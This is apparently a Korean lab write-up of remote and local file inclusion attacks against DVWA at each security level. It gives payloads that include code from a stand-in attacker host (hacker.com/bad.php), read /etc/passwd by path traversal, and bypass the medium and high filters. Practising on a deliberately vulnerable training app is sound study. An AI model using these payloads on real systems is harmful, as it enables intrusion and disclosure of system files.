정상적인 사용자가 page=file.php 를 요청하는 페이지가 있다
해커는 이를 이용하여 page=http://hacker.com/bad.php 를 요청 할 수 있다. 웹 애플리케이션이 따로 입력값을 검사하지 않으면 bad.php 가 실행되게 된다.
더 자세한 취약점 설명은 아래에서 확인 할 수 있다.
- http://coashanee5.blogspot.com/2017/02/rfi-lfi.html
실습 환경 : kali linux + DVWA
1) low
<RFI 공격>
opt/lampp/htdocs 에 bad.php 를 생성한다.
아래와 같이 RFI 공격이 시행되었다.
<LFI 공격>
시스템에 이미 존재하는 파일만 접근 할 수 있어서 FRI 보다 파급력이 약하긴 하다.
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=/etc/passwd 를 입력하면 공격이 성공하여 파일 내용이 출력된다.
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../..//etc/passwd 이것도 가능하다.
2) Medium
미디엄 단계에서는 공격이 성공하지 않고 에러가 발생하는 것을 확인 할 수 있다.
다음과 같은 필터링이 구현되어 있다. http://를 지워버리는 함수이다. 그런데 만약 htthttp://p:// 이렇게 입력하면 http:// 는 지워지고 http://가 생기는 것이다.
3) HIGH
HIGH 버전에서는 이전 공격은 유효하지 않는다.
소스코드를 보면 파일이름이 file로 시작하지 않거나, include.php 가 아니면 에러를 발생시키게 된다.
이를 우회하기 위해 file을 먼저 입력하고 진행하면 공격이 수행된다.
- http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file/../../../../../../../../../etc/passwd
RFI 의 경우인 경우에는 항상 http:// 를 입력해야 하기 때문에 이 경우에는 공격 수행이 불가능하다.
4) impossible
입력받는 파일명 만을 직접 지정하여 입력받는 경우는 다른 값을 입력 하게 되면 에러페이지가 출력된다.